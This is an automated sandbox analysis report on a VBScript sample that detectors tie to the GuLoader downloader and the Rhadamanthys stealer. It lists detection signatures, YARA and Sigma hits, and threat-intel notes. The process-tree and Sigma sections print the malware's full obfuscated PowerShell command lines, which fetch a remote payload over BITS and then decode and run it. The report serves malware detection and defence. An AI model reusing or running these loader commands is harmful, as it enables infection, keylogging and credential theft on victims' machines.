Edit tour

Windows Analysis Report
F8HYX5HOgA.vbs

Overview

General Information

Sample name:	F8HYX5HOgA.vbs renamed because original name is a hash value
Original sample name:	ace5b87a91d37f57a3288800b585268dbc4c1efde0417521f98b1fd4b86beff1.vbs
Analysis ID:	1578227
MD5:	85d4ef0ba65b5d677d8a3b3772542ea7
SHA1:	b73d4b3d582213d2d350a86603f6a3b1d60cce03
SHA256:	ace5b87a91d37f57a3288800b585268dbc4c1efde0417521f98b1fd4b86beff1
Tags:	185-236-228-9287-120-112-91vbswww-al-rasikh-comuser-JAMESWT_MHT
Infos:

Detection

GuLoader, RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Yara detected RHADAMANTHYS Stealer

AI detected suspicious sample

Found suspicious powershell code related to unpacking or dynamic code loading

Powershell uses Background Intelligent Transfer Service (BITS)

Sigma detected: WScript or CScript Dropper

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Suspicious execution chain found

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Writes to foreign memory regions

Wscript starts Powershell (via cmd or directly)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Very long command line found

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5444 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\F8HYX5HOgA.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)

powershell.exe (PID: 5708 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-BreakthSAmphibil SkremaecarnifieCloverlpKursusf Reklaps1 Injuri}Oversate UnderwlTotalvgs TiresreErsalfa{SammenhSAlansbotFacettea Syphilr forerutPreulti-AncyroiSCassocklArbejdseSluicedeEarthsepAndenda Mlterrn1Kommena;SexagesFCirkusmu KonklunnonfinidContagimFrynsenoSheiladnsaltishgAttribu Moniti$Ventoseb Verniee LowerskGangliorHeteropaZoopatheFlettonfHoefligtMendelieJoshrou0Selvbet0Fotogra}Fagudda ');Fundmong (Krse ' Udledn$FarrisagGroteskl PresteoSkalperbValnddeaUnscrewl Piezom: FortalC LyderurKingleau BlockasparathyaStrandhdIntensioOlympiavHaandpaaMystacaeChasses7Irregja=Danefst(BinderiT RektoreCooreeus PaagretArtisko- LuftruPUnpropia Fodgngt DorylihKontakt Mathiah$OutmeasCTriartirUnasceruKnistensConjureaNormeridScriptuo BlgetrvPostlapaSlagsvre bookpr2 Overvr)Stakero ') ;}Fundmong (Krse 'estriat$GubbinsgEltonkllHermeneo BlidgrbDemissia SubjeklLuftala:AbrasaxGanuextraSkriveuzDisgusteFinansgnKristjap TaarnhaOpslmmerRegnskatThongdinBrneopd1Discolo7unaccus Agrgodk=Forvirr GradphoG PindsveKonkurrtDokefor-InterceCGrshoppo TilmelnScrapint DobbeleRadarovn Ingratt Begynd Tactin$VagarisCacidprorBisquesuSagtmodsBlaamusaCincinadGemmernoForhandvJeronymaAxolotle Bovnen2Overfie ');Fundmong (Krse 'Stagnin$DisseisgSpotligl KapninobaarebubHenfaldaHighflilMouthbr: PaastaOFortrylpToddlerdThiosula FriandtTrophieeOleoster FinaliiBrigadenUnacetigPalaeoc Brodni=Triolog Derover[BimanasS KokosbyAmyunnasPrototatPrologkeKvotastmFunctio.LskedriCTaabelioInsularnsudsingvpietisme TicklerWarnisstEnuncia] tuberc: Eyelet:AfvisesFSkriverrRespecioQuisquimOutactiBIntestia Runddes Rangore Starbl6Yachtie4uselskaSPignolitGodarterPaganisi DrawknnAdgangsgHeintje(Pursier$CalicosGCatenataContempzflercife kvidisnInsubdupHessianaIatroterJambedntUnconcenKongres1Statsli7Sceneme)Ruttera ');Fundmong (Krse 'trident$EksegetgBelivesldistriboUdspndtb PascalaHendecal Unquel:Medflgkb BilabieFodnotek Bobbysr Knappea AssocieBryologf PrivattEstopgeeFgtekaa2 Paavir Fiskekr=Daahind Inaugur[DecastcS knivmuyHalvlegs Scrawlt Subchoepositifm Kjrsga.PolymorToutliveeDialogix CloturtHepatot. PalamiE PhoebenOksefilc TekstkoAssessodMuseebai EmpighnUnscrapg Turist]valgret:Kylling:UnspeciAgluepotS SponsoCBombaziIFulviavIHmroege.FiberedGMetropoeEmulsoit ClavatSKneadmetVerbenarAphthoniMaaltidnAffiesvgTogfrer(Ekshibi$ProportOCodaspopvallisedTaenioiaMumacryt rammeve BrevskrCocompoi iviedmnRetsinsgMajuscu)Hylests ');Fundmong (Krse 'Reneger$Pickersgfllesanl misorgoOutchidbNedskriaMulticol Afhaar:ForsmdebAnnielleSubthrek HalogerBiofysiaStatsameCymlingflettiettPatienteinjuran3 samfun=Randrus$OvercrabAffaldseUtopistkrdviolerAutomata Hugsple PredoufKissemitEkstempeFodring2Tediums. UdviklsKameelsu decinobSkggedes AnfordtVenligtr JuveleiMisnumbnInstillgfrinumr(Talwars2Sgraffi7Sclerot2 Skjold2Nonsupp6Mormonb0Somatat,Planlgn2 Desill3 Rainin7 Anstan2Minilec9slidsni)Baragno ');Fundmong $bekraefte3;" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6388 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4856 cmdline: "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco CandidvAgrarkoaDespitoeDeceler7Mashall=imperfo(GuslarpTLovforbeGilenorsChloroptUnbelie-PleurahPPreasceaStillelt ForklahMerceri Corrive$AugustoCUdhamrircosmeteuSelskabsGallakla PillerdOpsadleoRosethavAntbirdaSvingnietrawled2Hippocr)Fairlea ') ;while (-not $Crusadovae7) {Fundmong (Krse 'DiscernISpreneufLegende Sulphoh(Waggonl$eksplosCPyramidrInverseu LepilespaltereaTidsskrdDriftskoWhiterovSpirantaMeasurieUnlovea8Dkliste.TumlersJ securioKryptonbCifferlSSwollentSkifertaSandormtRedeploeHvorind Smykken-ChambereSkebladqfyrsted Biestin$Kahytsjb Atommie AktivikStilkunrKatapulaNapoleoeLykkebrfProtoprtSpearmieDriftsr0Udsprjt2tankefu) Nbbene Jamaic{BeskrivS Despott MamushaIrradiarHalvbrotEthenoi-BreakthSAmphibil SkremaecarnifieCloverlpKursusf Reklaps1 Injuri}Oversate UnderwlTotalvgs TiresreErsalfa{SammenhSAlansbotFacettea Syphilr forerutPreulti-AncyroiSCassocklArbejdseSluicedeEarthsepAndenda Mlterrn1Kommena;SexagesFCirkusmu KonklunnonfinidContagimFrynsenoSheiladnsaltishgAttribu Moniti$Ventoseb Verniee LowerskGangliorHeteropaZoopatheFlettonfHoefligtMendelieJoshrou0Selvbet0Fotogra}Fagudda ');Fundmong (Krse ' Udledn$FarrisagGroteskl PresteoSkalperbValnddeaUnscrewl Piezom: FortalC LyderurKingleau BlockasparathyaStrandhdIntensioOlympiavHaandpaaMystacaeChasses7Irregja=Danefst(BinderiT RektoreCooreeus PaagretArtisko- LuftruPUnpropia Fodgngt DorylihKontakt Mathiah$OutmeasCTriartirUnasceruKnistensConjureaNormeridScriptuo BlgetrvPostlapaSlagsvre bookpr2 Overvr)Stakero ') ;}Fundmong (Krse 'estriat$GubbinsgEltonkllHermeneo BlidgrbDemissia SubjeklLuftala:AbrasaxGanuextraSkriveuzDisgusteFinansgnKristjap TaarnhaOpslmmerRegnskatThongdinBrneopd1Discolo7unaccus Agrgodk=Forvirr GradphoG PindsveKonkurrtDokefor-InterceCGrshoppo TilmelnScrapint DobbeleRadarovn Ingratt Begynd Tactin$VagarisCacidprorBisquesuSagtmodsBlaamusaCincinadGemmernoForhandvJeronymaAxolotle Bovnen2Overfie ');Fundmong (Krse 'Stagnin$DisseisgSpotligl KapninobaarebubHenfaldaHighflilMouthbr: PaastaOFortrylpToddlerdThiosula FriandtTrophieeOleoster FinaliiBrigadenUnacetigPalaeoc Brodni=Triolog Derover[BimanasS KokosbyAmyunnasPrototatPrologkeKvotastmFunctio.LskedriCTaabelioInsularnsudsingvpietisme TicklerWarnisstEnuncia] tuberc: Eyelet:AfvisesFSkriverrRespecioQuisquimOutactiBIntestia Runddes Rangore Starbl6Yachtie4uselskaSPignolitGodarterPaganisi DrawknnAdgangsgHeintje(Pursier$CalicosGCatenataContempzflercife kvidisnInsubdupHessianaIatroterJambedntUnconcenKongres1Statsli7Sceneme)Ruttera ');Fundmong (Krse 'trident$EksegetgBelivesldistriboUdspndtb PascalaHendecal Unquel:Medflgkb BilabieFodnotek Bobbysr Knappea AssocieBryologf PrivattEstopgeeFgtekaa2 Paavir Fiskekr=Daahind Inaugur[DecastcS knivmuyHalvlegs Scrawlt Subchoepositifm Kjrsga.PolymorToutliveeDialogix CloturtHepatot. PalamiE PhoebenOksefilc TekstkoAssessodMuseebai EmpighnUnscrapg Turist]valgret:Kylling:UnspeciAgluepotS SponsoCBombaziIFulviavIHmroege.FiberedGMetropoeEmulsoit ClavatSKneadmetVerbenarAphthoniMaaltidnAffiesvgTogfrer(Ekshibi$ProportOCodaspopvallisedTaenioiaMumacryt rammeve BrevskrCocompoi iviedmnRetsinsgMajuscu)Hylests ');Fundmong (Krse 'Reneger$Pickersgfllesanl misorgoOutchidbNedskriaMulticol Afhaar:ForsmdebAnnielleSubthrek HalogerBiofysiaStatsameCymlingflettiettPatienteinjuran3 samfun=Randrus$OvercrabAffaldseUtopistkrdviolerAutomata Hugsple PredoufKissemitEkstempeFodring2Tediums. UdviklsKameelsu decinobSkggedes AnfordtVenligtr JuveleiMisnumbnInstillgfrinumr(Talwars2Sgraffi7Sclerot2 Skjold2Nonsupp6Mormonb0Somatat,Planlgn2 Desill3 Rainin7 Anstan2Minilec9slidsni)Baragno ');Fundmong $bekraefte3;" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

wab.exe (PID: 2780 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: 251E51E2FEDCE8BB82763D39D631EF89)

dialer.exe (PID: 1048 cmdline: "C:\Windows\system32\dialer.exe" MD5: E4BD77FB64DDE78F1A95ECE09F6A9B85)

svchost.exe (PID: 3712 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000009.00000003.2578876174.0000000005930000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000003.2575308321.00000000256F0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000003.2574777767.00000000254D0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000007.00000003.2571764775.0000000000A00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000009.00000003.2578561473.0000000005710000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000009.00000003.2576375337.0000000003520000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000009.00000002.3339874857.0000000005941000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000005.00000002.2552391162.0000000008590000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000009.00000003.2666601703.0000000005685000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000007.00000003.2585733508.0000000024FD0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000005.00000002.2541535117.0000000005841000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
00000005.00000002.2552866056.000000000A363000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000007.00000003.2576092102.00000000055F3000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000001.00000002.2827287313.000002316EE70000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GuLoader_5	Yara detected GuLoader	Joe Security
Process Memory Space: powershell.exe PID: 5708	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x30b4c:$b2: ::FromBase64String( 0x11c1c8:$b2: ::FromBase64String( 0x11c202:$b2: ::FromBase64String( 0x11c23d:$b2: ::FromBase64String( 0x11c279:$b2: ::FromBase64String( 0x11c2b6:$b2: ::FromBase64String( 0x11c2f4:$b2: ::FromBase64String( 0x11c333:$b2: ::FromBase64String( 0x11c373:$b2: ::FromBase64String( 0x11c3b4:$b2: ::FromBase64String( 0x11c3f6:$b2: ::FromBase64String( 0x11c439:$b2: ::FromBase64String( 0x11c47d:$b2: ::FromBase64String( 0x11c4c2:$b2: ::FromBase64String( 0x11c508:$b2: ::FromBase64String( 0x11c54f:$b2: ::FromBase64String( 0x2d2b2c:$b2: ::FromBase64String( 0x28507:$s1: -join 0x1a8656:$s1: -join 0x1a8df0:$s1: -join 0x218758:$s1: -join
Process Memory Space: powershell.exe PID: 4856	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x3fe3c4:$b2: ::FromBase64String( 0x13d8ea:$s1: -join 0x13fa6a:$s1: -join 0x2098fb:$s1: -join 0x2169d0:$s1: -join 0x219da2:$s1: -join 0x21a454:$s1: -join 0x21bf45:$s1: -join 0x21e14b:$s1: -join 0x21e972:$s1: -join 0x21f1e2:$s1: -join 0x21f91d:$s1: -join 0x21f94f:$s1: -join 0x21f997:$s1: -join 0x21f9b6:$s1: -join 0x220206:$s1: -join 0x220382:$s1: -join 0x2203fa:$s1: -join 0x22048d:$s1: -join 0x2206f3:$s1: -join 0x222889:$s1: -join
Process Memory Space: wab.exe PID: 2780	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
7.3.wab.exe.256f0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
9.3.dialer.exe.5930000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
9.3.dialer.exe.5710000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
7.3.wab.exe.254d0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi32_4856.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xe0e0:$b2: ::FromBase64String( 0xcf00:$s1: -join 0x66ac:$s4: += 0x676e:$s4: += 0xa995:$s4: += 0xcab2:$s4: += 0xcd9c:$s4: += 0xcee2:$s4: += 0x15c1e:$s4: += 0x15c9e:$s4: += 0x15d64:$s4: += 0x15de4:$s4: += 0x15fba:$s4: += 0x1603e:$s4: += 0xd955:$e4: Get-WmiObject 0xdb44:$e4: Get-Process 0xdb9c:$e4: Start-Process 0x1475a:$e4: Get-Process

Sigma Signatures

System Summary

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\F8HYX5HOgA.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\F8HYX5HOgA.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\F8HYX5HOgA.vbs", ProcessId: 5444, ProcessName: wscript.exe

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\dialer.exe", CommandLine: "C:\Windows\system32\dialer.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\dialer.exe, NewProcessName: C:\Windows\SysWOW64\dialer.exe, OriginalFileName: C:\Windows\SysWOW64\dialer.exe, ParentCommandLine: "C:\Program Files (x86)\windows mail\wab.exe", ParentImage: C:\Program Files (x86)\Windows Mail\wab.exe, ParentProcessId: 2780, ParentProcessName: wab.exe, ProcessCommandLine: "C:\Windows\system32\dialer.exe", ProcessId: 1048, ProcessName: dialer.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\F8HYX5HOgA.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\F8HYX5HOgA.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\F8HYX5HOgA.vbs", ProcessId: 5444, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Krse ($Udrensnri){For($Holdk=7; $Holdk -lt $Udrensnri.Length-1; $Holdk+=8){ $bekraefte+=$Udrensnri.Substring($Holdk, 1);}$bekraefte;}$bekraefte01=Krse 'Unrelini SouffleRovsedexHinchmi ';$bekraefte02=Krse 'AllitteTLgninger NonminaSnorkelnDrawplasHydrostfCodificeAchiertrBindheirkarnevai QuadrinRegressgProphet ';function Fundmong ($Avoutry){. ($bekraefte01) ($Avoutry);}$Jaspedam82=Krse 'CelebrehStenklvtDybdemat Expetipsemidels Blackl: Bemest/Bromidi/CandollwPlateaswrochetswDrtrinn.RefereraUtaethes SteurotFantasteDalliannLeafedstTilbageeHyperacrPremillp OddfelrIronikeiFunderes ForlageLocomots nonaff.SubtotacVarmefroCreaminmPlatypt.FormatkplibidinkSandsyn/RebozotmKimsendsBygning/BaggaarS OvertepKistegleUninundjMeedful.Ideologt TenuirtTuckykof Overen ';$bekraefte00=Krse 'approks$ SternngGynecollRoofwisoTaipoclbbetonrkaLogopedlFloddel:BacilleCTransforKlemskruYnkvrdisPartakiaInitiald KodifioDonskywvBloodthaTyggende Stykvr8nonvend Melone= Forste DecolonS AlphabtMinikenaForhaanrGeneralt Plasmo-IndfrelBAvlsbruiDvrgeflt AbdelrsNerviikTForslver Pederaa SubternHeadless Hilsepf HundreeRsknernr Unphil Rokkene-MystifiS OverfloFrembriuEconomir SignalcLuftrrbeVarmeis Crotche$AmtskomJSiddebaaAssembls PlastipParvifoe Tiltogd BoundlaBestialmPemmica8Angribe2Toiletp encomi-ArveretDstuppeneBibabudsMotionetLandfogiResentsnaktiekaaSupersatUnderstipathletoSjllandnforlyst Praktis$SammenbCBeechamrIrongoluFunestasSchlossaPestersdJgerstuo NonprovNonpessaRationae Cofoun2Spaecra ';Fundmong (Krse 'Omfangs$TumultegGaardsplPastieroUrbiaspbindpakkaSymfonilafdrags:AcolhuaCAfspndirCarlineuModellesFlgenesaFalanksd BommenoKaffetivMultiplaBekmpelePerpetu2Promisi=Imitato$ProduktePurgatinIncomprvSulfini: KartotaNonintepPersillp BeaverdVildepraFolacintFugersoaMispris ') ;Fundmong (Krse 'AfbenytIFalderamSlingrepturbehsoCryptohrPanicketEtagese-GeograpMUnarbitoUafvised Erstatu Biscayl Pimpere Parado OutmarrBUntrammiAfgudentresultasFlerbruTStansemrSvineavachurnfunOptjercsVedtagefRedecideKikrterrAfhvlin ') ;$Crusadovae2=$Crusadovae2+'\Notorhiza.Sal' ;Fundmong (Krse ' slambr$DebusedgGlobatel Telpheo AnskuebFlagstraEbbcritlKokseth:rredtekC limfarrMslsveru RutsjesAabjrnsaRestipud Prefoco 